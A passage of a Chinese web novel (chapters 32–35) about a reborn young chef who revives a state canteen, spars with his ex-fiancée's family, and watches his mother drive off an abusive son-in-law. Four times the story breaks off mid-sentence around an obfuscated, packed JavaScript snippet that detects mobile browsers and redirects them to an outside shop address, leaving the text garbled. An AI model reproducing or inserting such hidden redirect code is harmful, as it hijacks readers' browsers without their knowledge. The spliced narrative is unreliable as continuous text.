余家良被噎了一下:“兄弟有自知之明,这就不是我的菜,个子太高了,搂着她上街有种猴子爬杆的感觉,我喜欢刘曼那种小家碧玉型的。”
余家良说着冲刘曼做了个鬼脸。
他长得挺帅气,就是身高是个硬伤,男孩子刚过一米六,的确太矮了。
“去你的,我才看不上你,站着都没有面翁高。”
刘曼一筷子打在余家良脑门上。
余家良也不生气,笑嘻嘻道:“你没发现吗,她总是有意无意往你这边看,八成是瞄你呢!”
其实黎军也注意到了,他是厨师长,年轻阳光大高个,是二食堂服务员谈论的焦点。
“我这么高大帅气,被女生注意不是很正常吗,赶紧吃你的饭,下午还有的忙呢,今天中午不休息啊!”
黎军说不休息这句是对所有人说的,明天开业,需要准备的工作很多。
下午开始,黎军带着两个凉菜师傅,开始准备食材雕刻,这是开业活动的噱头,尤其是宴请头头脑脑的几桌。
这些白吃饱的人,才是饭店宣传的最重要对象,他们是各个领域的话事人,一年公款吃喝都是计划内的。
饭店开业前,服务员的工作就是打扫卫生,十多个服务员分成两组,一组负责前厅,一组帮助后厨。
黎军在凉菜间做食材雕刻,两个服务员进来打扫卫生。
“哇……黎师傅这手真巧!”
“那是,厨师长出手,二食堂必须大卖,真是期待明天的火爆场面呢!”
黎军转头,就看见李莉莎和刘曼正在打量水桶里的花卉雕刻。
“刘曼,余家良喜欢你,你知道吗?”
黎军顺嘴问了一句,都是年轻人,在一起除了嘴炮就是谈情说爱没别的闲事。
“你别瞎说,他就是嘴上说说,又没有正式追我。”
“今天饭桌上那么明显表白也不算吗?”
黎军笑道。
“算个屁,这种事哪有饭桌上,当着那么多人说的。”
“你这意思得找个没人的地方呗,顺便亲亲小嘴摸摸那啥的?”
黎军坏笑着看向两个女孩。
“你讨厌死了,去你的!”
刘曼将手里的抹布扔向黎军。
其实刘曼和余家良两个人对彼此都有意思,就是那层窗户纸没捅破而已。
“李莉莎,你家哪的?”
黎军早就想搭讪了,这女孩算不上特别漂亮,却有点与众不同的感觉。
“河北李田镇的,之前不是介绍过吗?”
李莉莎低头擦拭餐具,不敢看黎军的脸。
“你个傻妞,厨师长这是搭讪你呢,没准对你有好感了”
刘曼笑嘻嘻道。
李莉莎脸颊瞬间红了:“刘姐净瞎说,我去外边忙了。”
刘曼狡黠地看着黎军:“是不是真的看上人家了,我去给你说说?”
“不用,看上了我自己会说,这种事没啥不好意思的,我喜欢胡同里赶猪,直来直去。”
黎军其实是在考虑,重活一世,他想看看还有没有更合适的。
这种事只有一次选择机会,谁不想拥有更好的。
男人的心,懂得都懂。
“黎师傅你真讨厌,追女孩子有这么比喻的吗?”
黎军讪笑:“好像是有些不妥啊!”
华家庄,侯正东夫妇和华老三两口子对面而坐,桌子上放着厚厚一沓钱。
“亲家,你放心,我儿子虽然犯了事,但是以我的运作能力,轻判是必须的,等审判结果下来,再多花点钱,弄个保外就医或者缓期执行啥的,最终就是不了了之。”
侯正东这些天可没少上蹿下跳,钞能力也没少使,他有信心让自己儿子少蹲几年提前释放。
华老三有些为难地看着他,喉咙有些干涩道:“侯书记,这事还得看孩子意思,她要是不愿意,我也不好强压着,毕竟闺女都二十三了,万一胜利耽搁几年,妮娜可就三十了……”
“亲家,华龙华虎在机械厂工作得还顺利吧,两个孩子进国营大厂上班,正东可没少看人家脸色。”
董莹直接开大招了,他儿子因为给华家出头进去,华老三还想悔婚,门都没有。
一说到两个孩子的工作,华老三像是被攥住脖子的大鹅,想说的话直接卡在喉咙里。
“我家胜利因为谁进去的,亲家不会忘了吧,为了儿子轻判,我们两口子都搭进去快十万了,你要是想退婚,还是好好的想想你儿子的工作,以及我们的付出,我的钱可不能白打了水漂。”
董莹说话阴恻恻的,她心里有气,要不是华家人撺掇,他儿子怎么能干出这种糊涂事。
“哎……董莹,怎么能这么说话,亲家也不是出尔反尔的人,咱们两家结亲,有事就一起扛。”
侯正东夫妻俩一个红脸一个白脸,华老三夫妻的脸是白了又黑,红了又黑,紫了又黑……
第32章 开业大吉
华妮娜在隔壁房间里偷听父母的谈话,脸色苍白,浑身都感觉有气无力。
这种压力下,父母只会牺牲她的幸福,想想自己还要苦等一个没盼头二百五,不自觉悲从中来。
此刻她对黎军可以说恨之入骨,却又百思不得其解。
以前这老六对自己百依百顺,要啥给啥,转业后突然像是变了一个人,因为两千块的彩礼,居然直接退婚了。
“侯胜利也是个蠢货,怎么没有打死他呢,留着也是个祸害。”
第二天,二食堂门口,一排锣鼓家伙占满了街道,临街墙上树上都贴着隆重开业,开业大吉等红色标语。
十一点开始,被邀请的客人陆陆续续进店,都被升级后的二食堂吸引到了眼球,尤其是明厨亮灶这一块,噱头太足了。
“一目了然,很有新意。”
“的确是,这样顾客也能看到后厨的操作,可以说放心不少,这点子谁出的,太有思想了”
“很前卫,不过这样子对后厨要求就很高了,谁犯错谁丢人。”
一把手徐良也早早地就来了,对二食堂的升级格外满意。
此刻见客人到了,就跟刘小福等饮食公司领导一起出门迎客。
后厨也开始紧张忙碌起来,黎军正在现场安排凉菜师傅,怎么摆盘,怎么装饰,又该怎么配蘸料等等。
新调来的厨子是三食堂的潘师傅,四十来岁经验老到,对黎军的菜谱更新非常震惊。
因为其他两个食堂的菜单还停留在墙上呢,品类匮乏菜式简单。
“老史,这个大盘鸡是怎么回事?”
潘师傅拿着菜谱问史建军。
大盘鸡是九十年代才流行于大江南北的家常菜式,跟酸菜鱼一样,曾经风靡一时,几乎每家饭店都有。
“那是黎师傅新推出的,量大味美,最后汤汁拌拉条子吃,那叫一个痛快,四五个人这么一个菜就够了,配菜有土豆,尖椒洋葱等,麻辣鲜香很适合当地人的口味。”
昨天二食堂的员工餐就是大盘鸡拌面,所有人吃得是酣畅淋漓,都觉得这道菜要大卖。
午饭二食堂请了五桌,临县几乎所有管理层都被请了。
十一点五十分,门口鞭炮齐鸣,来宾也已经到齐。
大厅里,服务员开始忙碌上菜。今天宴席安排的是八凉八热一甜一咸两道汤羹。
凉菜在宴席中具有多重核心作用,既是传统礼仪的体现,也是餐饮文化的必要组成部分,也是餐饮社交礼仪的核心载体。
金钱发菜形态逼真,水晶肘子晶莹剔透,罗汉肚包肉酱香浓郁,灯影牛肉薄如蝉翼……
每一道凉菜都做了精美盘饰,不仅美味更令人觉得赏心悦目。
尤其是那些食材雕刻,引得食客疯狂赞许。
这年代物资并不充足,农村人才解决温饱,就是城里人的餐桌也没有丰盛到哪里去。
八个凉菜直接就击溃所有人的味蕾,个个筷子头跟飞一样,生怕自己吃得少了。
“二食堂起飞了,这菜做得地道。”
“后厨大换血了?”
“估计是来新厨子了,以前可没有这么好的厨艺。”
“这是大萝卜吗,这些花看起来跟真的一样。”
左**脸上挂着僵硬的笑容,心里已经气得突突了。
三个食堂的菜谱都是他定制的,十多年了都没换过,菜品还都是老一套,创新根本没有。
可以说他从师傅那里学了什么,这些年一直都在原马原鞍照本宣科,创新是不可能的。
因为这时候的厨艺基本是靠口口相传和言传身教,见识根本不会像后世那么丰富。
徐良身后跟着三个食堂的经理,端着酒杯走到他这桌:“小左,跟我们去敬酒,好好的给二食堂宣传一下。”
左**像是吃了绿豆苍蝇一样起身。
宴席在一片赞叹中进入热菜环节,头菜安排的是霸王别姬,也就是甲鱼炖土鸡,装在南瓜雕刻的楼船上,船头还立着鲤鱼跳龙门的刻品。
大厅里一阵大写的**,食材雕刻和美味的菜品直接将宴会气氛掀到高潮。
三套鸭是淮扬菜的传统名菜,以麻鸭、野鸭及菜鸽为主料,通过独特的套制工艺以焖煮技法制成,充分体现了淮扬菜,和、精、清、新”的烹饪理念。
这道菜黎没有盘饰,只用烫过的菜心围了个圆圈,但是碧绿的菜心和红亮的菜品形成鲜明对比,非常的养眼。
双海烩用雕刻的牡丹花和香菜叶装饰,这种挂在寻常人嘴头的鱿鱼海
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067802|195174||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
参看着格外大气上档次。
徐良敬酒回来,就觉得二食堂崛起有望,这次是真的捡到宝了。
他看了看左**:“小左,你觉得黎军的水平咋样?”
左**讪笑:“不错,以他的年龄,这样的手艺非常难得。”
言下之意就是,这水平不行,他没看上。
徐良心里直咆哮:你个**就是不愿意承认别人比你好,迟早换了你个王八蛋。
开业酬宾非常成功,下午就有客人络绎不绝入店用餐,到晚上下班,居然接了二十多桌。
刘小福嘴巴都要裂到耳朵根了,以前一天就几桌,生意都淡出鸟了。
“黎师傅,你这是要回家了?”
看着黎军换好衣服,刘小福问道。
“不回家去哪,你打算请客吗?”
“请客没毛病,改天,你今天累了一天了,早点回去休息,我的意思是上边宿舍收拾好了,特意给你留了个套间,明天把你的被褥带过来,累了就可以休息,还有啊,中午你也可以上去躺一会。”
刘小福现在看黎军,就跟看见亲爹一样亲。
黎军点头,今天上炉子就没下来,魂都要累掉了,要不是年轻力壮根本就坚持不下来。
做厨子其实挺累的,这也是后世大多数年轻人不愿意干的最主要原因,其次就是这事说出去它没面子,一个戳锅底的有啥出息。
回到家,跟父母打了个招呼就回屋了,弟弟黎强正在等他。
“哥……老村哪里我都去看了,基本上没人了,就是还有老杨头没走,你看这事咋办?”
黎军记得这个老杨头,是个外乡人,八几年突然逃荒到这里,因为村里人都已经搬走,荒废的村子也没人管,于是他就在村里住了下来,靠山上放羊过活。
后来人口普查给他落了户,成了守护荒村的老绝户。
说是老头只不过是长相显老,其实也就五十岁上下,为人木讷少言,村里也没人搭理他。
记得上一世动迁前一年,这老头放羊从山上滚沟了,等村人发现时,身子都给动物啃得支离破碎,他妈都认不出了。
黎军想了想,这老头无儿无女,稍微照顾一下,就跟免费的守村人一样,可不能让他再提前挂了。
第33章 被打成万元户就问你气不气
“老杨头你别管了,回头我跟他说说,这人我有用处。”
“哥,你眼睛非得盯着那废弃的村子干嘛,房子都没有几间好的,可能就以前的窑洞还完好着。”
黎强很不解大哥的行为。
“有大用,我就是想承包那边的荒山,以后干养殖啥的方便,对了,老村后边的峡谷去看了没,溪流大不大?”
加上黎军当兵八年,差不多有十年都没去过老村后了,也不知道记忆中的山涧溪流是不是还在。
“现在冬季,水流能没过脚面,只有两米多宽,要截流的话,能从野猪口那里弄,工程量会小很多,然后南边的开阔地也不小,水涨上来,差不多有二三十亩的样子。”
黎强本来脑袋有伤,也没法去挣钱,黎军上次说了之后,他去老村子以及村后的峡谷仔细看过。
“太好了,我还怕没有水呢,走,跟我去二爸三爸家里转转,我给他们买了点东西。”
黎军的二爸三爸都是退伍老兵,回来后二爸当了村里的支书,要承包废弃老村子,还得他的支持才行。
“哥,你也是不见兔子不撒鹰呢,回来这么久了,才想起二爸三爸他们。”
“胡说啥呢,你哥是那样的人吗?”
黎军尬笑道。
“你可以把那个吗字去掉了,你就是那样的人。”
“胡说八道,这不是脑袋被开瓢了,没脸见人吗,你这么较真还想不想发财了,你哥如今已经是万元户了,还打算把你的三转一响三十六条腿给包了呢!”
黎强一个激灵站起:“我的亲大哥,你弟不懂事,咱这就走起。”
哥俩出门后,黎强突然问道:“哥,去不去四爸家?”
黎军的四爸娶了个城里正式工,住在岳父家里,为此黎家老爷们都特别生气,都说他上了别人的门,哥几个弄得有点不愉快。
“四爸那里我中午休息时候去,他儿子还姓黎,就不是上门女婿,再说了,咱老黎家这么多爷们,多他一个不多,少他一个不少。”
黎老二黎明义家,哥俩提着烟酒茶叶进门。
“你个臭小子腚眼子大的把心拉出去了吗,回来这么多天了,还知道你有个二爸呢!”
“嘿嘿,二爸,这不是要退婚,单位要归档,还被人拦路**一次,你侄子忙得放屁都得挤时间。”
黎军讪笑着给二爸点烟。
“吆……瞧把你能的,这是要日李万基呢!”
“你个老不死的,跟孩子说话都没点正行,老太婆的裹脚布塞到嘴岔子里了,臭得要死。”
二婶坐在炕上,见侄子进门赶紧下炕,一边还埋怨着二爸。
“被**是咋回事?”
二爸给两个人倒上茶水问道。
“跟老华家退婚是一回事……”
黎军把转业回来的事情大概说了一遍,不过赔钱的事只是提了一嘴,没具体说,凭空弄个万元户这事太彪悍,传出去难免遭人妒忌。
黎老二听得火冒三丈:“他姥姥的,别轻易放过他们,让**一个个把牢底坐穿才好。”
“除了正主和党朝阳,其他人都没啥钱,到时候宣判,肯定会有猫腻,侯正东跟党卫国都不是一般人,估计会让这些人背锅。”
黎军说的一点没错,侯正东跟党卫国就是这么想的。
“对了二爸,我想承包老村子,以及那座荒山,你看需要咋弄,承包期限越长越好?”
黎明义看着侄子仿佛看一个**。
“哪里**都没有,房子基本都塌了,你承包那玩意干嘛,钱多烧的吗?”
“就是啊大军,听说老村里晚上阴恻恻地闹鬼,你没事可别往哪里跑。
二婶插话道。
闹鬼黎军倒是没听说过,要是真的闹鬼,承包的话难度就更加没有了。
“我阳气旺,不怕鬼,二爸,我在南方见过人家承包荒山搞种植养殖的,听说都老挣钱了,这才打起了老村和荒山的主意,你就说你能不能包给我吧?”
“这还不是你二爸一句话的事。”
二爸没开口,二婶又插话道。
“老娘们唧唧懂个屁,这要村部开会研究一下,走个形式,然后再弄个合同出来。
种植养殖是需要时间的,没个几年时间见不了回头钱,大军的意思估计是要长期承包吧?”
二婶不满地瞪了老汉一眼:“我不懂你懂,就你妈生你灵醒,孩子在跟前呢,说话那嘴就像是腚眼子一样,胡乱喷粪。”
“老娘们皮痒了是吧,赶紧去厨房掂俩鸡卵,挼个白菜心,我跟俩侄子喝点。”
黎家爷们似乎完美继承了老爷子的基因,个个嗜酒如命,一说起喝酒,黎军黎强也不着急说话了。
“还有啥硬菜,鸡蛋跟白菜心只配喝跟头烧,我给二爸带了两瓶五粮液呢!”
一听到五粮液,黎明义眼珠子都瞪大了:“老婆子听到没有,赶紧抓只鸡杀了。”
二婶气鼓鼓地出门,把门帘子呼啦一下甩到门框上去了。
“都快九点了杀什么鸡,吃鬼食呢,闺女拿来几斤香肠,给你们炒了下酒。
黎军嘿嘿讪笑:“二婶,香肠炒一盘,白菜心挼一个就行了!”
“再加个干香椿炒鸡蛋,生萝卜丝。”
黎强补充道。
爷仨喝到后半夜,黎
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067803|195174||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
军得到二爸承诺,心满意足地跟弟弟回家了。
早上晨跑回来,迎面碰上华老三拉着架子车,车厢里满满当当的一车厢大白菜,华妮娜跟马翠花在后边帮忙推车。
“老华叔,这是去卖菜吗?”
华老三没好气道:“不是卖难道是拉上去给人看吗?”
“哎吆,这么大火气,你女婿把我打成脑震荡,脑袋缝了十几针,血流了大半桶,你都还不解气吗,老年人气性别那么大,对肺管子不好,万一炸了咋弄。”
黎军很贱兮兮的说道。
“滚,我们家人不想理你,胜利他们怎么没打死你呢!”
华妮娜看见这货黑血病都要犯了,不是这货,侯胜利何至于进去,他爸也不至于被侯正东要挟。
有些人根本不会深思自己的问题,不是华老三父女一再表示对黎军的不满,侯胜利又怎么会替他出头,最终酿成大祸,把自己生生送了进去。
“打死我,打死我就不是几万块可以打发的了,我能把他全家讹得裤衩子都穿不起,我就问一下,被打成万元户你气不气就完了。”
一听到这话,华家所有人眼角都在狠狠地抽搐,有愤怒更有嫉妒,这笔钱在当时来讲,绝对堪比天文数字。
尤其是华老三,感觉自己肝都在颤抖,侯正东跟他说这事的时候,那咬牙切齿的模样,简直能把他给生吃了。
“讹别人的钱,还说得这么理直气壮,也就只有你这样心术不正的人才能做出来吧!
得了钱又能咋样,胜利他爸要钱有钱,要人缘有钱,要权力更有钱,花点钱走动走动,给胜利弄得保外就医或者缓期执行,听说还有个监外执行啥的,我们的婚期甚至都不会延误!”
这事是侯正东告诉华老三的,目的就是绑住华妮娜,他家遭受无妄之灾,可以说赔了夫人又折兵,再不能给儿子留住这个未婚妻,他家就亏大发了。
华妮娜的话让黎军心里一咯噔,要是真有人脉,这事没准还真的会发生呢!
不过他心里也不是很纠结,反正该得的钱也得了,侯正东想要让他儿子不进去,绝对不是件容易的事情,不伤筋动骨肯定没门。
“能讹人也是我的本事,就怕有人最后会鸡飞蛋打,**都捞不着,万一肚子有情况了……”
黎军说着看了看华妮娜的肚子,眼神里尽是戏谑。
华家人简直都要疯了。
“滚……胡说八道什么东西。”
“我闺女现在还是黄花大闺女。”
“你无耻,卑鄙下流货。”
黎军才不管这家人的反应,吹着口哨越过他们离开……
第34章 步子太大容易扯着蛋
华老三和马翠花看着闺女的肚子,心里不自觉有些担心起来,侯胜利跟闺女可是上过炕的,这干柴烈火睡在一个炕上,不发生点事情就见了鬼了。
华妮娜心虚地看了看父母,羞愧地把脸扭到一边。
侯胜利那两天晚上,在她家炕头上是真的猛啊,她从头一次的疼痛到舒坦,羞涩到热烈,最后甚至是放浪……
黎军给华家人锅里扔了一只死老鼠,自己乐颠颠地回家,换了衣服骑车上班。
路过老村时,觉得时间还早,就把自行车锁在路边,徒步往村子而去。
没进村,就听见羊叫声此起彼伏,然后就是一股子羊膻味飘过来。
功夫不大,六七只脏棉花一样的羊咩咩从村里走出来,杨老头肩头上搭着鞭子,嘴巴里叼着烟袋锅子跟在后边。
“老杨叔,放羊去啊?”
杨老头皱眉看向黎军:“你这后生是?”
黎军上前,给杨老头递上一根烟:“叔,我就是这村的,早上去上班路过老村,过来转转。”
“哦……”
杨老头挡住黎军递烟的手,示意了一下烟袋锅子。
“那个没劲,你有啥事吗?”
“没事,就是转转,你老家哪里的,家里还有啥人?”
“商州,就我老头子一个了,生我的都被我送走了,我生的一个没成人……老婆跟人跑了,如今就一个糟老头子了。”
杨老头浑浊的眼里有些迷茫,似乎在回忆什么,一只鸡爪子一样的手在棉袄破洞里抠唆着。
黎军跟老头闲聊了一会,几只羊就在路边啃干枯的草皮。
“叔,这村子以后就有人承包了,你……住哪儿呢?”
杨老头明显一愣,他在这就是无依无靠,就靠养几只羊卖羊奶过活,住所都是瞎凑合事。
“这废弃的村子也有人承包,用来干啥,这人脑子泡水了吧!”
黎军表情古怪:“呵呵,你也别太担心,承包了也不会撵你。”
杨老头松了口气:“那就好,我现在住黎老大家的破窑洞里,你问这个干啥?”
某人表情更加古怪,黎老大说的就是他老子。重来一回,许多事似乎都不一样了。
走进食堂大厅,服务员正在往桌子上端菜端饭。
“黎师傅来了。”
“快过来坐,开饭了。”
“你这是踩着饭点来的,一分钟也不会提前啊!”
史建军和服务员争相跟他打招呼。
黎军走过去坐下,早餐是玉米碴子粥,大白馒头,咸菜丝和酸辣白菜,还有一盘豆腐乳。
“明天开始,早上弄四个菜,别整三个菜,跟**献饭一样。”
众人往桌子上一看,三个菜排成一排,可不就是跟**供桌上一毛一样。
刘小福尬笑:“听黎师傅的,的确看着不像话。”
“黎师傅威武……”
所有人给黎军点赞,国营食堂员工餐也是有标准的,加菜都需要核算成本。
“对了于会计,昨天营业额多少?”
黎军拿起余家良递过来的馒头,一边夹咸菜一边问道。
“六百八十二块,粮票五十二斤,工业券三十张……”
听到这个,黎军突然想到个事,粮票再有几年也就该退出历史舞台了。
“刘经理,以后粮票也别挂在嘴上了,有就收没有就算,这玩意如今已经不是特别严格,没准再过几年,就该彻底作废了。”
其实这时候的粮票已经没有前几年那么严格了,各种票证都不再像以前那样,属于必需品。
自行车、缝纫机,没有票也能买到,工业券也不那么抢手了,街道上抓投机倒把的红袖章也不打鸡血了,似乎都少了一大半。
刘小福吃了一惊,这种事怎么能明目张胆地说出来呢!
“违反国家政策的事没人了再说,先把生意搞上去,咱们二食堂萎靡了太久!”
吃完饭,后厨就进入忙碌的准备中,服务员开始拖地擦桌子,门口的橱窗玻璃也用旧报纸仔细擦拭。
中午不到十一点就开始上人,生意仿佛一夜之间就爆火了。
等中午忙完,已经是一点半了,黎军知道,这是因为受限工人下午两点上班,要不然时间还会推迟。
大心里大概计算了一下,差不多有三十多桌的样子,开业第二天,也算是不错了。
“黎师傅,需要我帮你铺床吗?”
中午休息时间,黎军抱着早上带来的被褥,打算去宿舍躺一会。
服务员刘曼看着他的被褥问道。
黎军表情有点怪:“刘曼,你是认真的吗,不怕余家良吃醋?”
“他喝酱油我也不管,给我吧!”
说着一把抢过他怀里的被褥,径自上楼去了。
“哎……对了,昨天那个……李莉莎咋不见了?”
黎军突然想起昨天的服务员来,那女孩让他有种心跳加速的感觉,就在大厅里问了起来。
“嘿……好吗,还有两个厨子你也想不起来,就想起服务员了。”
史建军笑道。
“这不是挺正常吗,我一个老爷们,惦记厨子是有病吧,对了刘经理,回头把那个服务员给咱们调过来,我看她很不错。”
所有人下巴都要掉了,你一天都在厨房里忙活,那只眼睛看见人家不错了。
“**,这么直接的吗?”
“黎师傅果然不同凡响,这心思一点也不藏着掖着。”
“这才是老爷们该有的样子,胡同里赶猪,直来直去。”
刘小福笑着
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067804|195174||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
点头:“没问题,回头给徐总说一下。”
“你别回头啊,这就去打电话,没看黎师傅都抓肝挠肺了,他要是掉链子,咱们二食堂的生意都得黄了。”
史建军在后边拱火。
下午比中午生意要好一点,接了三十多桌,后厨炒完最后一个菜已经八点多了。
黎军清楚,这时候夜生活基本没有,大家都习惯了早早回家,老婆孩子热炕头去,上一世后期,饭店酒馆都要忙碌到十一二点的。
吃晚饭时,他有亿点好感的李莉莎扭捏的来了,左**还帮他提着大尿素袋子装的行李卷。
“刘经理,徐总安排我把人给你送来了。”
左**进门,就看见大厅里还坐着五六桌客人,其他桌子服务员正在收尾,心里顿时一个激灵。
看这样子二食堂今天生意不错呢。
刘小福给李谋女招了招手:“你们是一家子,你去帮她安顿一下,就跟你一个宿舍吧!”
左**走到吧台,把尿素袋子交给李谋女,然后看向吧台里的于会计。
“今天接了多少桌?”
余会计看了看刘小福,见对方一脸傲娇,心里也有了点底。
“大小五十六桌,不过有的才两个人,就点了俩菜。”
左**心里都惊呆了,跟他们一食堂都不相上下了,这还是那个吊车尾的二食堂吗?
“对了左厨,我们二食堂申请加个厨子,生意太好了忙不过来。”
没等左**开口,史建军不无嘚瑟地说道。
“生意才好了一天,就寻思加人呢,你是不是清闲日子过惯了,稍微忙点就受不了了?”
史建军缩了缩脖子,委屈地看向黎军。
此刻黎军坐在一张空桌上,给第二天的备料下单子,左**没靠近他,他也懒得搭理,这个行政总厨,他可是一点也没放在眼里。
“我们二食堂打算开临街的橱窗,做些卤肉熟食对外卖,加个厨子也很有必要。”
听到黎军的话,左**转头看向他,脸上挂着灿烂的猥琐笑容:“先把目前的生意稳一稳,做生意要循序渐进,步子太大容易扯着蛋,毕竟二食堂痿了太久了。”
“哎呀,真是屎壳郎戴口罩不嫌嘴臭,二食堂怎么痿的自己心里没点逼数吗?”
“就是,这生意还不是托了某些阴货的福,会议包席,婚宴,娘生孩满月都给拉走了,二食堂生意能好才是有鬼了。”
左**话音落地,不远处正收尾的几个服务员们就嘀咕开了,她们都是老员工、铁饭碗,才不会给他什么好脸色。
二食堂效益不好,她们的奖金都跟着营养不良缩水严重了。
左**的笑容顿时僵住,最终由白转红,再转青、转黑……
第35章 火力全开的黎母
左**恨恨地离开二食堂,刘小福看向刘曼她们:“你们几个,尤其是刘曼跟李谋女,嘴上加个把门的,别啥话都往外喷,小心他给你们穿他闺女的鞋子。”
被点名的服务员挑了挑眉毛,一脸的无所谓,都是正式工,谁怕谁呀!
其实今天卖五十多桌打烊,也有估计不足的原因,后厨的许多食材都告罄了,顾客点这个没有,点那个缺货,体验感就差了,于是食堂不到九点就下班了。
黎军骑车回到家,正好碰让姐夫张威和老娘一起过来。
姐姐黎秀回娘家后,中途张威来过一次,父母都没见着,就被姐弟三个一顿臭骂给撅了回去,今天又带着老娘来了。
“你们怎么又来了,我姐不回去了。”
黎军一边把自行车推进院子一边不客气道。
“嘿嘿,大军,我都跟你姐和咱妈道歉了,保证以后再也不打她了,今天特意带了我妈过来给她道歉,接她回家的。”
张威讪笑着跟上,生怕黎军一挥手把大门关了,这两个小舅子脾气一个比一个臭。
黎军把自行车撑在院子里,直接喊老妈老爸出来,上一次张威没见到二老,一顿胖揍让他给逃过去了。
“爸、妈,那个打你们闺女的**来了。”
张威听到这话眼角直抽搐,他妈也好不到哪里去,就觉得小腿不停地痉挛。
“谁,老头子听见没,拿上家伙式,打咱闺女的王八蛋来了。”
哎呀,黎母这一嗓子直接让张威母子心脏都突突了。
“张威,你个腚眼通大脑的玩意,还敢来我家,我这是啥时候给你造成脾气好的错觉了。
破袜子做口罩的货,你全家都是臭不要脸的王八蛋。
我闺女在娘家我一指头都没动过,在你家居然被打好几次,头都给打破了,你**母猪穿裤衩,不是人的玩意……”
“**……”
黎母冲到院子,对着张威就是一顿大逼兜子疯狂输出,更是翻着老张家的族谱往上花花。
“**你八辈祖宗,加一块都没有一个全活**子的烂货,敢打我闺女,我看你是老鼠啃菜刀,死路一条的玩意,老娘今天就活剐了你……”
张母一看儿子被劈头盖脸猛锤,心里头火大却不敢造次,他家穷得都要吃土了,哪敢让儿子离婚,只能硬着头皮听着、忍着。
“亲家母,凡事都得有个规矩吧,黎秀嫁到我家八年了,地里活基本不干,我帮她带大两个孩子,没有功劳也有苦劳吧,凭什么她的工资一分钱都不上交给家里……”
听到张母的话,黎母火气更大,一口老痰就吐在对方胸口。
“嗬……呸,你个老不死的老母驴,那是你孙子,你带不是天经地义吗,在这给老娘摆功劳簿。
你上厕所忘了擦嘴吗,嘴巴臭的要死,大宝二宝身上的衣服,那件不是我做的,孩子头疼脑热,那次不是给我送过来,我抱到诊所去看的……
我闺女的工资凭啥交给你,谁家儿子结了婚,还把工资一分不少的交给老娘,孩子们的日子不过了吗,跟你儿子一起打我闺女,我给你脸了吗?
你儿子娶不起老婆,主意都打到我家里了,我老黎家是该你的啊,你纯粹是光屁股上吊,死不要脸的老巫婆……”
黎母越说越气,最后居然放了瓜皮女婿,啪啪给了亲家母俩大嘴巴子。
黎父和两个儿子看的是心惊肉跳,老婆子今天生猛得紧,一个人就把张威和他妈挠得找不着北了。
“妈……都是我的错,我不该打秀,您老在两个孩子的面上,绕过我这次吧,以后我再也不跟秀动……!”
“啪啪”
张威带着哭腔求饶,却不想黎母转过头又给了他俩嘴巴子,嘴唇和鼻子都窜血了。
“呸,我才不是你妈,我也生不出你这样的畜生,打女人算什么本事,你赶紧给老娘滚,一脑袋水能养鱼的瓜皮,我半只眼睛也不想看见你。”
“秀……秀,我知道你在家里,看在大宝二宝的脸上,你跟我回去吧,这个家不能没有你啊!”
张威哭嚎着呼喊黎秀,他俩是自由恋爱,有感情基础,只不过当初的爱被磨灭在无穷无尽的柴米油盐,婆媳大战中了。
“放**罗圈屁,上坟烧报纸,你糊弄鬼呢!
你家是离不开秀吗,是离不开她给你家当老妈子吧,让我闺女回去给你家继续倒奴吗?
你癞**找青蛙,长得丑想得花,赶紧滚蛋,黎军黎强,你哥俩是**吗,把他们给老娘打出去。”
黎军、黎军缩了缩脖子,赶紧撸袖子准备上了,老妈的话绝不能不听。
房间里,大宝二宝靠在黎秀怀里。
“妈妈,真的不要爸爸了吗,他哭得好可怜啊!”
“妈妈,爸爸这么可怜,我们要不要回家,我不想没有爸爸。”
两个孩子的话让黎秀心里很乱,这些天黎军没少劝她,失去爱情的婚姻没必要去挽回,但是想到孩子没
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067805|195174||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了父亲,她就犹豫了。
“别在这鬼哭狼嚎了,赶紧滚,秀不会再跟你过了,等着离婚吧!”
黎母打累了,直接亮出**锏。
张威都傻了,没想到丈母娘这么绝情,居然真的要黎秀跟他离婚。
“亲家母,都说宁拆十座庙,不毁一桩婚,你怎么能说出这种话呢,夫妻打架哪有隔夜的仇。
